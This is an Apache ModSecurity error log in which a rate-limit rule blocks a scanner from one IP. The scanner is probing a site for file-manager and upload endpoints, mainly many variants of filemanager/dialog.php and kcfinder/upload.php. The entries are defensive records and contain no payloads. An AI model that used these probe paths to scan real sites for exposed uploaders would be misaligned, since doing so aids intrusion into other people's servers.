[Mon May 25 06:24:36.744448 2026] [:error] [pid 9398:tid 9427] [client 170.64.221.168:50214] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pOhIu7KstzsCua-pXgAAANc"]
[Mon May 25 06:24:36.750516 2026] [:error] [pid 50423:tid 50442] [client 170.64.221.168:50218] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvrwAAARE"]
[Mon May 25 06:24:36.759430 2026] [:error] [pid 9302:tid 9310] [client 170.64.221.168:50228] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRYAAAAAM"]
[Mon May 25 06:24:36.767151 2026] [:error] [pid 50423:tid 50427] [client 170.64.221.168:50232] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvsAAAAQI"]
[Mon May 25 06:24:36.775760 2026] [:error] [pid 21606:tid 21622] [client 170.64.221.168:50242] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahN6pGswdp0RYkH5t9XApAAAAU4"]
[Mon May 25 06:24:36.776723 2026] [:error] [pid 9398:tid 9424] [client 170.64.221.168:50268] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pYAAAANQ"]
[Mon May 25 06:24:36.777294 2026] [:error] [pid 21606:tid 21613] [client 170.64.221.168:50252] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahN6pGswdp0RYkH5t9XApQAAAUU"]
[Mon May 25 06:24:36.778282 2026] [:error] [pid 9398:tid 9403] [client 170.64.221.168:50256] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pYQAAAMM"]
[Mon May 25 06:24:36.779131 2026] [:error] [pid 9398:tid 9425] [client 170.64.221.168:50280] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahN6pOhIu7KstzsCua-pYgAAANU"]
[Mon May 25 06:24:36.780412 2026] [:error] [pid 9398:tid 9400] [client 170.64.221.168:50284] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahN6pOhIu7KstzsCua-pYwAAAMA"]
[Mon May 25 06:24:36.783080 2026] [:error] [pid 9398:tid 9406] [client 170.64.221.168:50308] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahN6pOhIu7KstzsCua-pZAAAAMY"]
[Mon May 25 06:24:36.783701 2026] [:error] [pid 21606:tid 21615] [client 170.64.221.168:50294] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahN6pGswdp0RYkH5t9XApgAAAUc"]
[Mon May 25 06:24:36.785360 2026] [:error] [pid 21606:tid 21611] [client 170.64.221.168:50318] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pGswdp0RYkH5t9XApwAAAUM"]
[Mon May 25 06:24:36.796301 2026] [:error] [pid 21606:tid 21632] [client 170.64.221.168:50334] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahN6pGswdp0RYkH5t9XAqAAAAVg"]
[Mon May 25 06:24:36.802099 2026] [:error] [pid 21606:tid 21618] [client 170.64.221.168:50336] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahN6pGswdp0RYkH5t9XAqQAAAUo"]
[Mon May 25 06:24:36.812309 2026] [:error] [pid 9302:tid 9323] [client 170.64.221.168:50340] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRYgAAABA"]
[Mon May 25 06:24:36.817688 2026] [:error] [pid 9302:tid 9315] [client 170.64.221.168:50342] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRYwAAAAg"]
[Mon May 25 06:24:36.818600 2026] [:error] [pid 9398:tid 9412] [client 170.64.221.168:50350] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pZQAAAMg"]
[Mon May 25 06:24:36.819464 2026] [:error] [pid 9303:tid 9351] [client 170.64.221.168:50366] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahN6pH3bQScbssitjPQ3sgAAAFE"]
[Mon May 25 06:24:36.820624 2026] [:error] [pid 9398:tid 9423] [client 170.64.221.168:50368] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pZgAAANM"]
[Mon May 25 06:24:36.822362 2026] [:error] [pid 9302:tid 9317] [client 170.64.221.168:50374] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRZAAAAAo"]
[Mon May 25 06:24:36.824589 2026] [:error] [pid 9302:tid 9329] [client 170.64.221.168:50388] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRZQAAABY"]
[Mon May 25 06:24:36.827071 2026] [:error] [pid 9302:tid 9324] [client 170.64.221.168:50402] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRZgAAABE"]
[Mon May 25 06:24:36.828855 2026] [:error] [pid 9303:tid 9358] [client 170.64.221.168:50410] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pH3bQScbssitjPQ3swAAAFg"]
[Mon May 25 06:24:36.839477 2026] [:error] [pid 50423:tid 50425] [client 170.64.221.168:50418] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvsQAAAQA"]
[Mon May 25 06:24:36.859466 2026] [:error] [pid 9303:tid 9346] [client 170.64.221.168:50432] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahN6pH3bQScbssitjPQ3tAAAAEw"]
[Mon May 25 06:24:36.860286 2026] [:error] [pid 9303:tid 9356] [client 170.64.221.168:50446] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahN6pH3bQScbssitjPQ3tQAAAFY"]
[Mon May 25 06:24:36.862509 2026] [:error] [pid 50423:tid 50439] [client 170.64.221.168:50462] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvsgAAAQ4"]
[Mon May 25 06:24:36.864821 2026] [:error] [pid 50423:tid 50436] [client 170.64.221.168:50466] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvswAAAQs"]
[Mon May 25 06:24:36.869426 2026] [:error] [pid 9303:tid 9347] [client 170.64.221.168:50470] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahN6pH3bQScbssitjPQ3twAAAE0"]
[Mon May 25 06:24:36.899769 2026] [:error] [pid 9303:tid 9354] [client 170.64.221.168:50486] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahN6pH3bQScbssitjPQ3uAAAAFQ"]
[Mon May 25 06:24:36.939033 2026] [:error] [pid 9304:tid 9383] [client 170.64.221.168:50532] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_IAAAAJY"]
[Mon May 25 06:24:36.945695 2026] [:error] [pid 9304:tid 9368] [client 170.64.221.168:50550] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_IQAAAIc"]
[Mon May 25 06:24:36.958004 2026] [:error] [pid 50423:tid 50445] [client 170.64.221.168:50608] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvuAAAARQ"]
[Mon May 25 06:24:36.975166 2026] [:error] [pid 9303:tid 9355] [client 170.64.221.168:50642] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pH3bQScbssitjPQ3wgAAAFU"]
[Mon May 25 06:24:36.989705 2026] [:error] [pid 9303:tid 9341] [client 170.64.221.168:50668] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahN6pH3bQScbssitjPQ3xQAAAEc"]
[Mon May 25 06:24:37.011156 2026] [:error] [pid 9303:tid 9351] [client 170.64.221.168:50718] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pX3bQScbssitjPQ3yQAAAFE"]
[Mon May 25 06:24:37.015035 2026] [:error] [pid 9303:tid 9346] [client 170.64.221.168:50726] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pX3bQScbssitjPQ3ywAAAEw"]
[Mon May 25 06:24:37.023926 2026] [:error] [pid 9302:tid 9313] [client 170.64.221.168:50758] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahN6pS1RaFfTSnDQnqFRZwAAAAY"]
[Mon May 25 06:24:37.026004 2026] [:error] [pid 9302:tid 9308] [client 170.64.221.168:50768] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahN6pS1RaFfTSnDQnqFRaAAAAAE"]
[Mon May 25 06:24:37.048073 2026] [:error] [pid 50423:tid 50449] [client 170.64.221.168:50912] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gvuwAAARg"]
[Mon May 25 06:24:37.073476 2026] [:error] [pid 9304:tid 9367] [client 170.64.221.168:50966] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_IwAAAIY"]
[Mon May 25 06:24:37.079211 2026] [:error] [pid 9303:tid 9334] [client 170.64.221.168:50982] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahN6pX3bQScbssitjPQ33wAAAEA"]
[Mon May 25 06:24:37.095208 2026] [:error] [pid 9303:tid 9351] [client 170.64.221.168:50998] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahN6pX3bQScbssitjPQ34QAAAFE"]
[Mon May 25 06:24:37.096224 2026] [:error] [pid 9303:tid 9358] [client 170.64.221.168:51020] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahN6pX3bQScbssitjPQ34gAAAFg"]
[Mon May 25 06:24:37.098178 2026] [:error] [pid 9303:tid 9352] [client 170.64.221.168:51002] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahN6pX3bQScbssitjPQ35AAAAFI"]
[Mon May 25 06:24:37.107000 2026] [:error] [pid 9304:tid 9373] [client 170.64.221.168:51062] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_JgAAAIw"]
[Mon May 25 06:24:37.122892 2026] [:error] [pid 9303:tid 9353] [client 170.64.221.168:51106] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pX3bQScbssitjPQ35wAAAFM"]
[Mon May 25 06:24:37.125651 2026] [:error] [pid 9302:tid 9326] [client 170.64.221.168:51116] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pS1RaFfTSnDQnqFRbQAAABM"]
[Mon May 25 06:24:37.126835 2026] [:error] [pid 9303:tid 9350] [client 170.64.221.168:51122] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahN6pX3bQScbssitjPQ36QAAAFA"]
[Mon May 25 06:24:37.133384 2026] [:error] [pid 9304:tid 9378] [client 170.64.221.168:51138] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_KAAAAJE"]
[Mon May 25 06:24:37.159411 2026] [:error] [pid 9303:tid 9340] [client 170.64.221.168:51292] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahN6pX3bQScbssitjPQ37wAAAEY"]
[Mon May 25 06:24:37.181668 2026] [:error] [pid 50423:tid 50427] [client 170.64.221.168:51370] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gvxgAAAQI"]
